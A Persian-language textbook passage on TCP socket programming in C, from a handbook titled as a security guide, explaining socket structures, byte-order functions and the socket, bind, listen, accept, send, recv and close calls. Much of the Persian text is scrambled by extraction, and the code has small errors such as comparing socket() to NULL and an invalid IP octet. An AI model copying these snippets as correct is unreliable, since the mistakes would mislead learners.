ذ  یبرا را کارش که ديکنيم اعلام عامل ستميس به بعد مرحله در ) ج اط  یتقاضاها  رشیپ ار  نی ا .دی نما شروع  TCP ارتب ابع  توسط  ک  ت
داد  حداکثر  دی با باشد متعدد ارتباط یتقاضاها تعداد است ممکن چون و شوديم انجام()listen  یستميس اط  تع ه  ار TCP  ارتب  دي توانيم ک
د  دی با عامل  ستمي س که چرا دينمائ نييتع ، ديباش آن یرایپذ را  بدان ذ  یب در  TCP  ارتباطات  رشیپ ضا  چق ابع  و ف افر  شامل  من  نظر  در ب
ضا  بلکه ستين دادهها رشیپذ یمعنا به ارتباط یتقاضاها رشیپذ اعلام که ديکن دقت .رديبگ ا  افت یدر و ارسال  جهت  را لازم یف  دادهه
ه  و شده رفتهیپذ همزمان بطور توانديم کهTCP ارتباطات تعداد نييتع معمولاً .ديکنيم جادیا ان  اشتراک  روش ب ردازش  یزم  در ، شود  پ

ه  باشد یمقدار از کمتر تعداد نیا دیبا یول شماست ارياخت وان  عامل  ستمي س ک ي تع حداکثر  بعن رده  ني ازهم  .است  ک ه  ميکن يم یادآوری  ب  ک
از  بصورت  را متفاوت ینهايماش یرو برنامه نیچند با متفاوت ارتباط نیچند همزمان، ورتبص توانديم دهنده سیسرو ال  و ب  داشته  فع
ه  توسط توانديم که ديکن تصور یلیفا تعداد را باز ارتباط حداکثر تعداد لیفا ستميس با سهیمقا کی بعنوان .باشد ان  بطور  شما  برنام  همزم
  .شود باز

  
ق  ارتباطات  از یک ی ديکن تقاضا عامل ستميس از()accetp بعتا از استفاده با تاینها ) د ه  هب  وجود  صورت  در را معل  یمعرف  شما  برنام

  .شد خواهد یبررس ليتفص به که دارد یفیظر نکات()accetp تابع .کند
  
   .دينمائ استفاده دادهها مبادله یبرا()recv و()send دستورات از ) ه
 
  :بود خواهد ریپذ امکان روش دو به کار نیا .ديبده خاتمه را ارتباط تاینها ) و
  

  ()close  تابع توسط افتیدر و ارسال طرفه دو ارتباط قطع •
  

 شود انجام ریز اعمال یستیبا یمشتر سمت برنامه درshutdown  تابع توسط افتیدر ای ارسال اتيعمل از یکی کطرفهی قطع •
: 

  
ه  است  شده  اعلام عامل ستميس به فقط نجایا تا .دیاوريب وجوده ب ، است ارتباط کی مشخصه که را سوکت کی ) الف د ين ک  فی تعر ازمن
  .ديهست ارتباط کی
 
ه  یلزوم  یعنی ديبده نسبت پورت آدرس خود سوکت به دهنده سیسرو برنامه همانند ستين لازم بعد مرحله در ) ب تفاده  ب  دستور  از اس

bind()کی  با ارتباط یبرقرار یمتقاض خودش بلکه ستين گرانید از رتباطا یتقاضا منتظر یمشتر سمت برنامه که چرا ندارد وجود 
ده  سیسرو کی با ارتباط یبرقرار ازمندين آنکه محض به دوم مرحله در نیبنابرا .است دهنده سیسرو ا  را تقاضا  آن دیشد  دهن تفاده  ب  اس
  .ديبفرست دهنده سیسرو آن سمت به ()connect یستميس تابع از
  

 و شروع  یمتول عملاً()connect دستور د،يباش داشته بخاطر TCP ارتباط کی یبرقرار در را یا مرحله سه یتکان دست مراحل اگر
  .است یارتباط نيچن انجام

 
ابع  از ميکن يم دي تاک ددا مج ان ()bind ت تفاده  یزم ه  شودي م اس ذ  ک ا  TCP ارتباطات  یرایپ ورت  شماره  ب  طرف  در یول  ديباش  یخاص  پ

  .است ارتباط کننده شروع یمشتر سمت برنامه که چرا بود واهدنخ لازم یکار نيچن یمشتر
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 ٩٨٨    صفحه

 کار چيه بدون ديتوانيم و است دهنده سیسرو با TCP ارتباط کی یبرقرار در تيموفق یمعنا به بود زيآم تيموفق()connect عمل اگر
  .دينمائ اقدام دادهها افتیدر و ارسال به یاضاف

  
  . د ينمائ اقدام دادهها افتیدر ای ارسال یبرا()recv() send توابع از ) ج
  
  .دينمائ قطع کطرفهی ای دوطرفه بصورت()shutdown ای()close توابع با را ارتباط ) د
 

 توابع نيهمچن و دادهها ساختمان که است دهيرس آن وقت یمشتر سمت و دهنده سیسرو سمت یها برنامه یکل تمیالگور یبررس از پس
  .ميبده قرار یبررس مورد یشتريب دقت با را یسینو امهبرن در ازين مورد یها روال و
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 ٩٨٩    صفحه

  سوکت بر مبتنی نويسی برنامه در نياز مورد دادههای ساختمان ) ۴
 
رار  یبررس  تحت سوکت، یسینو برنامه در ازين مورد داده ساختمان انواع و ها ريمتغ که آنست کار نیبهتر یسینو برنامه آغاز یبرا  ق
 هستند C  با کدها قطعه تمام . رديبگ
  
رار  استفاده مورد باز ارتباط کی به ارجاع یبرا ، لیفا گر اشاره همانند که است  "سوکت مشخصه " داده نوع نياول  کی  و ردي گيم ق
  :باشد سوکت کی مشخصه توانديمa ريمتغ ، ریز فیتعر با یعنی است یتیبا دو حيصح عدد

 
int a; 

  
را  داده نوع نيدوم رار  یب اط  یبرق ه  است  استراکچر  کی  ، ارتب ورت  آدرس ک اط  طرف  نيماش  IP آدرس نيهمچن  و پروسه  پ  را ارتب

   .استر یز بصورت آن ساختار ساده یفیتعر در فعلاً .دارديم نگه درخود
 

struct sockaddr { 
 

unsigned short sa_family;   /* address family, AF_xxxx */ 
char sa_data[14];    /* 14 bytes of protocol address */ 

 
    }; 

  
• sa_family : ه یگز نی ا قتيحق در .کنديم مشخص را سوکت نوع ای خانواده ي تع ن د يم ني ه  کن ورد  سوکت  ک  چه  در را نظر  م

 دارد سروکار اوتمتف یها سوکت و متفاوت یپروتکلها با که یستميس در لذا گرفت؛ ديخواه بکار یپروتکل چه یرو و شبکه
 خانواده استTCP/IP  پروتکل با نترنتیا شبکه ما بحث که فصل نیا کل در فعلاً .ديکن نييتع را یدرخواست سوکت نوع دیبا ،

  .بود خواهد متفاوت نهیگز نیا Appletalk  مثل گرید یها شبکه مورد در .ميکنيم مشخص AF_INET ثابت با را سوکت
 

• sa_data : آدرس ، پورت آدرس از است یا مجموعه تیبا چهارده نیا  IPلي دل و شود  پر صفر با دیبا که یاضاف یقسمت و 
  .ميکنيم اشاره بعداً آنرا

  
 .شودينم مشاهده ییها لديف نيچن بالا فیتعر در یول دارد نگه را IP آدرس و پورت آدرس یستیبا استراکچر نیا شد اشاره که همانگونه

 شما  و دارد یمتفاوت فیتعر یول است یقبل استراکچر معادل قاًيدق که شوديم یمعرف یگرید استراکچر ، یسینو برنامه در یسادگ یبرا
  :دیريبگ بهره دلخواه به کدام هر از ديتوانيم
 

struct sockaddr_in { 
short int sin_family; /* Address family */ 
unsigned short int sin_port; /* Port number */ 
struct in_addr sin_addr; /* Internet address */ 
unsigned char sin_zero[8]; /* Same size as struct sockaddr */ 
}; 

  
• sin_family : انواده  یقبل ساختار همانند ي تع را سوکت  خ د يم ني را  و کن دار  یستی با نترنت یا شبکه  یب  AF_INET ثابت  مق

  .باشد داشته
• sin_port :  دینمايم مشخص را نظر مورد پروسه پورت آدرس ، یتیبا دو لديف نیا  

  
• in_addr : آدرس IPشد خواهد فیتعر ادامه در که است استراکچر کی خودش لديف نیا .کنديم مشخص را نظر مورد نيماش 

  .است یتیبا چهار و علامت بدون ، حيصح یعددلا ک که ديبدان فقط ،
  

sin_zero[8] : ه  آنست ، لديف نیا وجود ليدل باشد داشته صفر مقدار دیبالا ک نترنتیا یمهندس یکاربردها در تیبا هشت نیا وم  ک  مفه
 که شود فیتعر یا بگونه دیبا فوق استراکچر نیبنابرا و شده استفاده معادل بصورت ، متفاوت یپروتکلها با ها شبکه تمام یبرا سوکت

ا  دو پورت آدرس و یتیبا چهار IP آدرس فعلاً نترنتیا شبکه در .باشد استفاده قابل شبکه یپروتکلها تمام یبرا ال  در است  یتیب ه  یح  ک
 نترنتیا شبکه یسینو برنامه یکاربردها در فوق استراکچر از که یهنگام نیبنابرا .است شتريب آدرس طول ها شبکه از گرید یبرخ در

  .شود صفر تماماً()memset  مثل یتوابع با دیبا حتماً یول است یاضاف تیبا هشت نیا دیريگيم بهره
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 ٩٩٠    صفحه

 
 

اً يدق یقبل  استراکچر دو که دیينما دقت ادل  ق د  امع وان يم و ن ع  یفراخوان  در ت دام  هر  ، تواب ا  از ک ا  را آنه وع  تطابق “ کي تکن ب ا  ” ن  یبج
تفاده  مجموع  در یول  برد بکار یگرید ر  راحت  دوم فی تعر از اس د  ت ود  خواه ام  گر ید استراکچر  کی  دوم استراکچر  فی تعر در .ب  بن

in_addr  است ریز بصورت آن ساختار که شده فیتعر: 
 

/* Internet IP address (a structure for historical reasons) */ 
struct in_addr { 
unsigned long s_addr; 
}; 

  
ست يم که چرا رسديم نظر به بيعج یکم فوق بصورت آن فیتعر و دارد کاربردIP آدرس ینگهدار یبرا یتیبا چهار لديف نیا  در ميتوان

د يف به یده مقدار یبرا .است شده فیتعر بالا بصورت حال بهر یول  ميکن یمعرف unsigned long آنرا ميمستق بطور یقبل استراکچر  ل
 خواهند یمعرف ادامه در که دارند وجود کار نیا یبرا ساده یتوابع کنيول ديکن استفاده شماست دلخواه که یروش هر از ديتوانيم بالا یها
  .شد
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 ٩٩١    صفحه

  حافظه در کلمات سازی ذخيره ساختار لحاظ از ماشينها شکلاتم ) ۵
  
اوت  گذشته  در وع  ینهايماش  تف وع  و BE ن رد  یبررس  ار LE ن ه  شد  اشاره  و میک ا  تی با بي ترت TCP/IP پروتکل  در ک  بصورت  ه

BEساختار هک ینيماش یرو شما برنامه است قرار یوقت لذا است شده توافق LEا  تیبا بيترت شود نصب دارد ال  یه  شبکه  یرو یارس
   :شوديم اجرا ریز دستور LE نوع از ینيماش یرو که یوقت مثال بعنوان .خورد خواهد بهم

 
struct sockaddr_in as; 
as.sin_port=0xB459; 

  
د  و شوديم رهيذخ اول ارزش کم تیبا چون رارزش  تی با آن از بع رار  پ ذا  ردي گيم ق رار  از پس  ل رفتن  ق سته  در تی با دو نی ا گ  TCP  ب
   :شد خواهد مينظ تاشتباه قطعاً  و ریز بصورت پورت آدرس

 

  
  

وع  نگران  یستی با است  یتیبا چهار ای یتیبا دو که بدهد قرار یلديف درون را یمقدار سینو برنامه است قرار یوقت نیبنابرا  و نيماش  ن
  :است یضرور نترنتیا شبکه سینو برنامه کار ابزار بعنوان ریز توابع یمعرف ليدل نيم هبه .باشد ها تیبا بيترت

 
htons() : BE حالت به دوبایتی کلمات تبدیل تابع 
htonl() : BE بایتی چهار کلمات تبدیل تابع  حالت به 
ntohs() : ماشين فعلی حالت به BE بایتی دو کلمات تبدیل تابع  از 
ntohl() : ماشين فعلی حالت به BE بایتی چهار کلمات تبدیل تابع  از 

  
  

ودن  LE صورت  در تا بداند را اش برنامه یینها نصب جهت استفاده مورد نيماش ساختار است لازم سینو برنامه اً  ب ل  حتم رار  از قب  ق
  .کند استفاده فوق توابع از یتیبا چهار ای یتیبا دو یها لديف در ریمقاد دادن

  
تفاده  فوق توابع از یوقت فقط : تذکر ه  شودي م اس ا ینها ک د يف ت ورد  ل سته  در نظر  م وان  .شود  ميتنظ IP  ای  TCP  ب ال  بعن  استراکچر  در مث

sock_addr_in لديف در sin_family مقدار AF_INETفیتعر عامل ستميس یبرا فقط لديف نیا و رديگيم قرار است ثابت یمقدار که 
وق  توابع از ستين لازم لديف نیا به یده مقدار یبرا لذا شد نخواهد منتقل شبکه یرو و شده تفاده  ف ا  اس ه  در .ميینم ا  ادام ال  ب ا  مث ه  ییه  ک
  .میشويم آشنا فوق توابع استفاده موارد با داشت ميخواه

  
 س آدر فيلد  درونIP آدرس تنظيم مشکلات ) ۵-١
 

  : شونديم نوشته یده ده ییتا هشت لديف چهار قالب در IP  که ديآموخت یها آدرس  IP مبحث در یها آدرس
 

192.140.11.211 
وع  از عدد کی با که یتیبا چهار است یعددIP آدرس لديف sock_addr_in استراکچر در که یحال در ر  long ن ابرا  .شودي م پ  دو نیبن
   :دارد کاربرد الذکر فوق ساختار باIP یها آدرس انتساب جهت ریز تابع

  
ه  را “ 187.121.11.44 ” بفرم یکاراکتر رشته کی تابع نیا:()inet_addr تابع • ه  و گرفت ار  عدد  کی  ب ا  چه ا  یتیب  قالب  ب

BE  کنديم لیتبد 
  
   :ثالم
 

struct sockaddr_in ina; 
ina.sin_addr.s_addr=inet_addr(“130.421.5.10”) 

  
 .رديگيم قرار مربوطه لديف در BE قالب در یتیبا چهار یعدد به لیتبد از پس و است یا هرشته IP آدرس بالا مثال در
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 ٩٩٢    صفحه

ه  را BE قالب در یتیبا چهار آدرس کی یعنی دهديم انجام را یقبل تابع عمل عکس تابع نیا: ()inet_ntoa عتاب را  و گرفت  بصورت  آن
ت  کی  اراکتر ه رش ه  یک رده  فی تعر دار نقطه  بصورت  را IP آدرس ک د  ، ک ارامتر  .دی نمايم لیتب ابع  یورود پ وق  ت وع  از ف  struct  ن

in_addrديکن دقت ریز مثال به .است یا رشته نوع آن یخروج و:  
 

printf("%s",inet_ntoa(ina.sin_addr)); 
  
رم  به یخروج مثلاً .شد خواهد چاپ یخروج یرو ده یمبنا در و دار نقطه یا هرشته بصورت IP آدرس یمحتوا فوق مثال در  ری ز ف

 :است
  

130.141.5.10 
  
ه  طيمح  در IP آدرس به را www.ibm.com فرمه ب حوزه یها آدرس لیتبد یچگونگ یآت یبخشها در  ميخواه  حيتوض  یسی نو برنام
  .شوند فیتعر ارتباط یبرقرار و فیتعر یبرا لازم توابع دیبا آن از قبل .داد
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 ٩٩٣    صفحه

  (TCP)بر مبتنی دهنده سرويس هبرنام در استفاده مورد توابع ) ۶
 
  ()socket  تابع ) ۶-١
  

  :است ریز بصورت ابعت نیا یکل فرم
 

#include <sys/types.h> 
#include <sys/socket.h> 
int socket(int domain, int type, int protocol); 

  
• domain : ه  در شد  اشاره  قبلاً که ینحو به و است سوکت خانواده هدهند نشان پارامتر نیا ا  ، نترنت یا هشبک  یسی نو برنام  ب

  دشويم ميتنظ AF_INET ثابت مقدار
  

• Type : وع  توانديم که ديکنيم اعلام را تان دلخواه سوکت نوع پارامتر نیا با وع  از ای  میاستر  ن اگرام ید ن  سوکت  اگر  .باشد  ت
رار  SOCK_STREAM ثابت  مقدار type  لديف در بود میاستر نوع تان دلخواه وع  اگر  و دي بده ق اگرام ید ن ت  ت  درآن ديخواس
  .ديکن  ميتنظSOCK_DGRAM مقدار

  
• Protocol : ه  ديکنيم ميتنظ را نظرتان مورد پروتکل یشناسائ شماره لديف نیا در را  ک ا  یب  شهي هم نترنت یا شبکه  یکاربرده

  .است صفر آن مقدار
  .بود خواهند ثابت شهيهم نترنتیا شبکه تحت یسینو برنامه در ديدهيم قرار سوم و اول یها لديف در که یریمقاد

 
 کی  گر اشاره مثل قاًيقد شد خواهد استفاده یبعد توابع یبرا آن از که است سوکت مشخصه همان()socket  تابع توسط یبازگشت مقدار

  .شود ینگهدار بدقت ابدييم خاتمه ارتباط که یزمان تا یستیبا سوکت مشخصه لذا لیفا
 

وده  زيآم تيموفق عمل باشد} یک {١، ()socket تابع یبرگشت مقدار اگر د  و نب ار  رون وان  شما  و شود  متوقف  دی با ک ه  بعن و  برنام  سین
ه  چرا  ديکن یبررس را تابع نیا یخروج حتماً دی اموظف ع  هي بق اتي عمل ک ه  تواب ه  در ک د  یمعرف  ادام ه  شد  خواهن ابع  نيهم  یخروج  ب  ت
   .دارد یبستگ

  
 تابع خطا شماره ردازشپ یبرا .باشديم یخطا شماره رخداده errno مقدار یسراسر ريمتغ باشد ١، ()socket تابع یبرگشت مقدار یوقت
 یستميس و ندارد فیتعر به ازين تابع و ريمتغ دو نیا .است آمده مثالها در آن یريبکارگ روش که شود استفاده توانديم()perror یستميس

 .هستند
  
 ()bind تابع ) ۶-٢
  
ار  چيه هنوز یول دیا هادهن بنا را ارتباط کی یبنا سنگ فقط شما قتيحق در کرد باز سوکت کی شما یبرا عامل ستميس یوقت را  یک  یب

سبت  جهت است یعمل" يابديم معنا دهنده سیسرو سمت برنامه در معمولاً که()bind تابع .است نشده انجام دادهها مبادله  آدرس دادن ن
 :ديکن دقت ریز ساده فیتعر به پس دارد ابهام احتمالاً فیتعر نیا ."شده باز سوکت کي به پورت

  
سته  تمام که ديکنيم خواهش عامل ستميس از()bind تابع قیطر از ا  ب اط  یتقاضاها  نيهمچن  وUDP ای  TCP یه ا  ارتب ورت  شماره  ب  پ

 معناست نیا به دهديم گوش 80 پورت به HTTP پروتکل که شوديم گفته یوقت مثال بعنوان .دینما تیهدا شما برنامه سمت به را خاص
 ردي گيم لی تحو ، ست  ا٨٠ آنها مقصد پورت شماره و شونديم یمحل نيماش وارد که را TCP یها بسته تمام ، دهنده سیسروه برنام که
 .دینمايم پردازش و
 
 

  :است ریز بصورت()bind تابع یکل فرم
 

#include <sys/types.h> 
#include <sys/socket.h> 
int bind(int sockfd, struct sockaddr *my_addr, int addrlen); 

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٩٩٤    صفحه

• sockfd  :تابع از استفاده با قبلاً که است یسوکت مشخصه همان socket()ه  دي خواهيم شما  قت يحق در .دیا کرده باز  سوکت  ب
 .ديبده نسبت پورت آدرس کی شده باز

  
• my_addr :  ه  استراکچر  کی انواده  ک ورت  آدرس سوکت،  خ  نی ا ساختار  .دارد خود  در را یمحل  نيماش  IP آدرس و پ

  .شد فیتعر قبلاً استراکچر
 

• addr_len  :استراکچر طول my_addr تیبا حسب بر .  
  
  :ديکن دقت ریز کد قطعه به فوق توابع از استفاده یچگونگ با ییآشنا یبرا
 

#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#define MYPORT 3490 
main() 
{ 
int sockfd; 
struct sockaddr_in my_addr; 
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0))!= NULL){ 
my_addr.sin_family = AF_INET; /* host byte order */ 
my_addr.sin_port = htons(MYPORT); /* short, network byte order */ 
my_addr.sin_addr.s_addr = inet_addr("132.241.5.10"); 
bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ 
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))!=-1){ 
. 
. 
. 

  
  
  :ستين لطف از یخال آنها به اشاره که دارد وجود ینکات()bind تابع مورد در
  

 تا 1024 شماره از پورت یها آدرس نيب در املع ستميس آنگاه شود ميتنظ صفر مقدار با پورت آدرس لديف اگر کسيونی طيمح رد ) الف
  .رديگيم نظر در پورت شماره بعنوان آنرا و کرده انتخاب یتصادف هشمار کی ، 65535

 
ده  سیسرو  یبرا ها پورت شماره نیا که چرا باشد 1023 تا صفر نيب که ندیگز بر را یپورت شماره دینبا شما یکاربرد برنامه ) ب  دهن
ورت  شماره  نی ا از استفاده اجازه عامل ستميس و است شده رزرو کسيونی یها دهنده سیوسر و استاندارد یها ا  پ ه  را ه ه  ب ا  برنام  یه

  .داد نخواهد کاربران
  
 آدرس خودکار بصورت عامل ستميس آنگاه ، ديکن ميتنظINADDR_ANY ثابت مقدار با را IP آدرس لديف اگر کسيونی طيمح در ) ج

IP داد خواهد قرار آن در و  راجاستخ را شما یمحل نيماش.  
 
ر  است  ممکن  که یا نکته ) د ه  است  آن دی ريبگ خرده  آن ب دار  در چرا  ک د يف یده  مق ا  ل الا  یه ا  مینکرد  یسع  ب ع  از یري بهرهگ ب  تواب

htons()حالت به را آن BE ال  در ميکن لیتبد ه  یح ار  نيچن  ک س  آن لي دل .باشد يم لازم یک اده  اريب دار  دو هر  :است  س د د صفر  مق  و ارن
  .ندارد لیتبد به یازين صفر حالت

 
را  شما  از قبل یگرید برنامه ديکنيم انتخاب که یپورت شماره اگر ) ه رده  رزرو خود  یب را  یعن ی باشد  ک ه  در آن ه  خود  برنام  یسوکت  ب

bind()عمل آنگاه باشد کرده bind()وده  زي آم تي موفق دار  و نب ه  مق ه  ب از  شما  برنام د  ب را  .گشت  خواه ردازش  یب وع  پ ا  ن  ري متغ ، خط
  .گردانديم بر را خطا مشخصات()perror تابع و خطا شماره errno یسراسر

  
 :()listen  تابع ) ۶-٣
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ابع  نی ا ط  ت ه  در فق ده  سیسرو  برنام ا  دهن د ييم معن ارت  کی  در و اب اده  عب ه  اعلام  س را  عامل  ستمي س ب ذ  یب اط  یتقاضاها  رشیپ  ارتب
TCPه  لحظه نیا از که ديکنيم اعلام عامل ستميس هب تابع نیا توسط بهتر عبارت به .است د  ب ان  یعن ی ( بع ابع  یاجرا  زم  یتقاضاها  ) ت
  .دارد نگه منتظر و کرده صف به را نظرتان مورد پورت شماره با دور راه ینهايماشTCP ارتباط

 
ا  ه  توجه  ب داز  راه از پس  است  ممکن  آنکه  ب ه  یان ده  سیسرو  برنام ات  در ، دهن د  یلحظ ان  بطور  اوتمتف  پروسه  نیچن  یتقاضا  همزم

 به را آنها ارتباط و ردیبپذ را آنها از تا چند حداکثر که بداند دیبا عامل ستميس نیبنابرا بدهند پورت آدرس کی به TCP ارتباط یبرقرار
رار  یده سیسرو صف در را آنها و نموده برقرار یا مرحله سه یتکان دست روش د  ق ابع  توسط  .بده ه  دی با()listen  ت  عامل  تمسي س ب
  :است ریز بصورت تابع یکل فرم .باشد تا چند خاص پورت شماره کی یرو باز و فعال ارتباطات تعداد حداکثر که شود اعلام

 
int listen(int sockfd, int backlog); 

  
• sockfd :  دیکردها جادیا آنرا ابتدا در که است سوکت مشخصه همان.   

  
• Backlog : مقدار ستمهايس از یاريبس در .منتظر شدۀ صف به و قمعلّ ارتباطات تعداد حداکثر backlog شده محدود 20 به 

  .است
 

  .باشديم داده رخ یخطا شمارهerrno ريمتغ و بود خواهد -1 تابع نیا یبرگشت مقدار خطا بروز صورت در یقبل توابع همانند
  
 .()accept تابع ) ۴-۶
  
  : شود دقت آن مفهوم هب یستیبا و رسديم نظر به مرموز یاندک تابع نیا

  
 شده  صف  به ، رفتهیذ پوجود درصورت دور راه ینهايماش یرو یها پروسه TCP ارتباط یتقاضا شد اجرا()listen تابع آنکه از پس
 یتقاضاها  نيب از که کنديم تقاضا عامل ستميس از شما برنامه قتيحق در شوديم اجرا()accept تابع که یوقت .شوديم داشته نگاه معلق و
ه  لی تحو مقابل طرف پروسه مشخصات با آنرا و کرده انتخاب را یکی شده صف به د  برنام ابرا  .بده ه  نیبن  ارتباطات  نيب  از دی با برنام

ه  آنرا و کرده جادیا دیجد سوکت مشخصه کی عامل ستميس ليدل نيم هبه .بدهد انجام را لازم اتيعمل تا بطلبد حضور به را یکی معلق  ب
ده  بدست()socket تابع توسط که اول سوکت مشخصه .دیدار دیجد سوکت کی شما نجایا در .دگردانيم بر برنامه  سوکت  مشخصه  و آم
  ست؟يچ در سوکت دو نیا تفاوت .است برگشته شما برنامه به()accept تابع با که دوم

  
را  اول سوکت زا ) الف ذ  یب ق  ارتباطات  از یک ی رشیپ تفاده ()accept دستور  در معل  کل  مشخصه  سوکت  نی ا قت يحق رد .دي کنيم اس

  .باشديم منتظر شده صف به ارتباطات
 
را  دوم سوکت  از ) ب ق  ارتباطات  از یک ی یرو اطلاعات  ارسال  و افت یدر یب تفاده  معل  از یک ی مشخصه  سوکت  نی ا .دي کنيم اس

  : است ریز صورت به تابع یکل فرم .باشديم شده صف به ارتباطات
  

#include <sys/socket.h> 
int accept(int sockfd, void *addr, int *addrlen); 

  
• sockfd  :تابع با ابتدا در که است سوکت مشخصه socket()است آمده بدست.   

  
• addr  :ا  دي کنيم ارسال  تابع نیا به پارامتر بعنوان آنرا شما که است یاستراکچر به گر اشاره ذ  از پس  عامل  ستمي س ت  رشیپ

د  شما برنامه به آن در را ارتباط مقابل طرف IP آدرس و پورت آدرس معلق ارتباط کی بلاً  استراکچر  نی ا ساختار  .برگردان  ق
 .شد یمعرف

 
  

• addrlen  :استراکچر طول addrه  است  سوکت  مشخصه کی تابع نیا یبرگشت مقدار تیبا حسب بر ا  روال در ک د  یه  یبع
دار  اگر .رديگ یم قرار استفاده مورد شت  مق ائ  باشد   یبرگ ه  ست ا داده رخ یخط ا  آن شماره  ک  errno  یسراسر  ري متغ در خط
  .است یبررس قابل

 
  :بود خواهد سودمند اريبس کار تيکل شدن روشن یبرا ریز ناتمام مثال
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#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#define MYPORT 3490 /* the port users will be connecting to */ 
#define BACKLOG 10 /* how many pending connections queue will hold */ 
main() 
{ 
int sockfd, new_fd; /* listen on sock_fd, new connection on new_fd */ 
struct sockaddr_in my_addr; /* my address information */ 
struct sockaddr_in their_addr; /* connector's address information */ 
int sin_size; 
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0))!= NULL){ 
my_addr.sin_family = AF_INET; /* host byte order */ 
my_addr.sin_port = htons(MYPORT); /* short, network byte order */ 
my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */ 
bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ 
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))!=-1){ 
listen(sockfd, BACKLOG); 
sin_size = sizeof(struct sockaddr_in); 
new_fd = accept(sockfd, &their_addr, &sin_size); 
……. 
……. 

  
ا  افت یدر ای  ارسال  یبرا که ميکنيم ديکات گرید بار ه  یدی جد سوکت  از یستی با دادهه ابع  توسط  آن مشخصه  ک  ، گردد يبرم()accept ت

  .ديکن استفاده
 
  ()recv  و()send  توابع ) ۵-۶
  
تفاده  قابل یمشتر سمت برنامه و دهنده سیسرو سمت برنامه در تابع دو نیا ود  اس را  و هب ه  یب ا  مبادل اربرد  دادهه د  ک رم  .دارن  دو یکل  ف

  : است ریز صورت به تابع
 

int send(int sockfd, const void *msg, int len, int flags); 
int recv(int sockfd, void *buf, int len, unsigned int flags); 

  
• sockfd  :تابع از که یسوکت مشخصه accept()است آمده بدست.   

  
• msg : بسته کی از داده لديف درون و شده استخراج آنجا از یارسال یدادهها ه کاستراکچر ای هیآرا مثل حافظه در یمحل TCP 

  .شونديم ارسال و گرفته قرار
  

• Len : تیبا حسب بر یافتیدر ای یارسال یدادهها طول .  
 

• Flag : دیبگذار صفر آن در فقط .دهمينم حيتوض مورد نیا در بحث یدگيچيپ از زيپره یبرا  
  

• buf  :ارامتر  نی ا ابع  در پ ه  است  حافظه  در یمحل  آدرس()recv  ت ا  ک ا  در یافتی در یدادهه ه  آنج ه  و قرارگرفت ه  ب از  برنام  ب
  .شوديم گردانده

  
 

داد  ، مثبت  عدد  کی  برگشت  صورت  در یول  بود خواهد -1 خطا گونه هر بروز صورت در تابع دو نیا یبرگشت مقدار ا  تی با تع  یه
 ري متغ در که یتعداد با یافتیدر ای یارسال یها تیبا تعداد است ممکن که ديکن دقت .کنديم مشخص تیبا حسب بر را یافتیدر ای یارسال
 lenريمتغ در شما ديکن فرض مثال بعنوان .د نباش کسانی دیدادها تقاضا lenدار  یول  دیدادها قرار 1000 مقدار ه  یمق ابع  ک ده  ت  برگردان
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ا  کل  از تیبا 800 صورت نیا در .باشد 200 است ال  یدادهه اق  (یافتی در ای ) یارس ده  یب ه  است  مان ه  ک ا  في تکل دی با شما  برنام  را آنه
  .کند مشخص

  
 .باشد تیبا لويک کی حوش و حول ديکنيم ارسال()send تابع توسط که ییها داده حجم ديکن یسع مرحله هر در : هيتوص

 
ع  : نکته ط ()recv() , send تواب را  فق ا  سوکت  یرو افت یدر و ارسال  یب وع  یه اربرد  میاستر  ن ه  دي خواهيم اگر  یول  دارد ک  روش ب

UDPد؛يکن صبر یاندک ديکن ارسال را تان یها داده تاگرامید یها سوکت با و   
  
 ()shutdown  و()close  توابع ) ۶-۶
  
 برطرف ازتانين گاه هر لهایفا همانند کنيول دينمائ تافیدر ای ارسال داده و داشته نگه باز را ارتباط کی ديتوانيم ديداشت ازين که یزمان تا
   .دیببند را ارتباط دیبا شد
  

  : است ریز بصورت()close تابع یکل فرم
 

close(int sockfd);  
 

• sockfd : ه  است یا مشخصه همان سوکت نیا .نظر مورد سوکت مشخصه ابع  ک ده ()accept ت ه  دي کن دقت  .است  برگردان  ک
  .شد خواهد بسته زين منتظر و معلق ارتباطات تمام است برگشته()socket تابع توسط که باشد یا مشخصه sockfd اگر

  
اه  هر .بود نخواهد استفاده قابل افتیدر و ارسال یبرا گرید شوديم بسته()close  تابع توسط که یارتباط  قت يحق در دی ببند را یسوکت  گ

ا  اندتويم عامل ستميس و دیا بسته را TCP ارتباطات از یکی اط  یتقاضا  آن یبج ول  را یگر ید ارتب رده  قب را  ، ک ردازش  یب ه  پ  صف  ب
   .کند اضافه معلق ارتباطات

  
  : است ریز بصورت آن یکل فرم که باشديم()shutdown تابع سوکت کی بستن گرید راه

 
int shutdown(int sockfd, int how); 

  
• sockfd : ر نظ مورد سوکت مشخصه 

  
• how : ردیپذيم را ریز مقدار سه از یکی که سوکت بستن روش  

  
افر  عامل  ستمي س .است بازن چناهم ، داده ارسال یبرا سوکت یول سازديم ممکن ريغ را داده افتیدر :صفر مقدار .١  ب

  .کنديم آزاد را سوکت آن به مربوط یورود
 

ا  همچنانا دادهه افتیدر یبرا سوکت که یحال در سازديم ممکن ريغ را داده ارسال :  مقدار .٢  عامل  ستمي س .است  زب
 .کنديم آزاد را سوکت آن به مربوط یخروج بافر

سته  کاملاً سوکت کرده ممکن ريغ را افتیدر و ارسال : مقدار .٣ اً يدقت حال  نی ا .شودي م ب د  ق ابع  همانن  عمل  ()close ت
   .دینمايم

 
  

 پردازش یبرا را خطا شماره errno یسراسر ريمتغ و بود خواهد -١ توابع نیا یبرگشت مقدار خطا بروز صورت در یقبل توابع همانند
   .کنديم مشخص
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 TCP پروتکل بر مبتنی مشتری برنامه در استفاده مورد وابعت ) ٧
  
ه  یتوابع نجایا تا ع  شدند  یمعرف  ک د  یا هی پا تواب ه  بودن ده  سیسرو  سمت  در ک ه  دهن تفاده  ینحو  ب  سمت  در مين يبب دی با حال  .شوندي م اس

  :رنديگيم قرار استفاده ردمو یتوابع چه یمشتر
 

